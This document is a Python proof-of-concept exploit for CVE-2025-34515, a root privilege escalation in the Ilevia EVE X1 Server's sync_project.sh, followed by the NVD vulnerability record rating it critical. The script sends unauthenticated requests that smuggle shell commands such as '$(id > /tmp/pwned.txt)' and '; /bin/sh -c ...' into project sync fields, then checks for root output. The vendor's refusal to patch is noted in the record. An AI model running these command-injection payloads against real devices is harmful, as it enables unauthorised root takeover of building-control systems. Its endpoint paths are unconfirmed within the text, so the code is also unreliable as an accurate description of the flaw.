CVE-2025-34515

# CVE-2025-34515 PoC - Ilevia EVE X1 Server Privilege Escalation via sync_project.sh # Exploits unnecessary privileges in sync_project.sh to escalate to root import requests import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1" TARGET_PORT = 8080 TARGET_URL = f"http://{TARGET_HOST}:{TARGET_PORT}" def exploit_privilege_escalation(): """ Exploit the unnecessary privileges in sync_project.sh to achieve root RCE. The sync_project.sh script runs as root, allowing command injection through crafted project sync requests. """ print(f"[*] Targeting Ilevia EVE X1 Server at {TARGET_URL}") # Step 1: Trigger sync_project.sh with malicious payload via project sync endpoint # The sync endpoint accepts project data which is processed by sync_project.sh as root payload = { "project_name": "exploit_project", "sync_data": "$(id > /tmp/pwned.txt)", # Command injection in sync data "action": "sync" } try: # Step 2: Send unauthenticated request to the sync endpoint (no auth required) resp = requests.post( f"{TARGET_URL}/api/project/sync", json=payload, timeout=10 ) print(f"[*] Sync request response: {resp.status_code}") # Step 3: Verify root command execution verify = requests.get(f"{TARGET_URL}/api/system/file?path=/tmp/pwned.txt", timeout=10) if "uid=0" in verify.text: print("[+] SUCCESS: Root privilege escalation confirmed!") print(f"[+] Output: {verify.text.strip()}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Alternative: Direct shell command injection via sync_project.sh parameters cmd_injection = { "project_id": "; /bin/sh -c 'id > /www/tmp/root_proof.txt' #", "action": "sync" } try: resp = requests.post( f"{TARGET_URL}/cgi-bin/sync_project.sh", data=cmd_injection, timeout=10 ) print(f"[*] Alternative exploit response: {resp.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Alternative request failed: {e}") return False if __name__ == "__main__": exploit_privilege_escalation()

{"cve": {"id": "CVE-2025-34515", "sourceIdentifier": "[email protected]", "published": "2025-10-16T18:15:35.920", "lastModified": "2025-11-06T19:15:41.510", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ilevia EVE X1 Server firmware versions ≤ 4.7.18.0.eden contain an execution with unnecessary privileges vulnerability in sync_project.sh that allows an attacker to escalate privileges to root. Ilevia has declined to service this vulnerability, and recommends that customers not expose port 8080 to the internet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ilevia:eve_x1_server_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.7.18.0", "matchCriteriaId": "25D89BA5-1632-4243-BE68-D42803774A22"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ilevia:eve_x1_server:-:*:*:*:*:*:*:*", "matchCriteriaId": "72B4F8B5-4641-4371-8759-3AB18EC87FB6"}]}]}], "references": [{"url": "https://www.ilevia.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/ilevia-eve-x1-server-root-priv-esc", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5965.php", "source": "[email protected]"}]}}